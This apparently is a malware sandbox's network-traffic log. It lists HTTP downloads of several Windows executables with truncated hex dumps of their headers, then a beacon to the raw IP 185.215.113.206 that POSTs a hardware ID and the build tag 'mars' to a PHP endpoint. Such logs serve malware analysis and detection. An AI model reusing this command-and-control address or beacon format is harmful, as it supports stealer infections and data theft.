00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 22:06:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 22:06:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 22:06:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 22:06:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 22:06:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 22:06:47 GMTContent-Type: application/octet-streamContent-Length: 1905152Last-Modified: Fri, 22 Nov 2024 21:39:53 GMTConnection: keep-aliveETag: "6740fa29-1d1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 14 b1 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 53 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 52 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 61 6a 77 62 65 69 66 00 00 1a 00 00 60 31 00 00 f4 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 71 62 6b 79 65 67 00 10 00 00 00 60 4b 00 00 04 00 00 00 ec 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4b 00 00 22 00 00 00 f0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 33 31 41 44 42 34 39 44 36 42 31 31 35 35 35 30 32 31 34 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="hwid"B631ADB49D6B1155502147------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="build"mars------DAAAFBKECAKEHIEBAFIE--
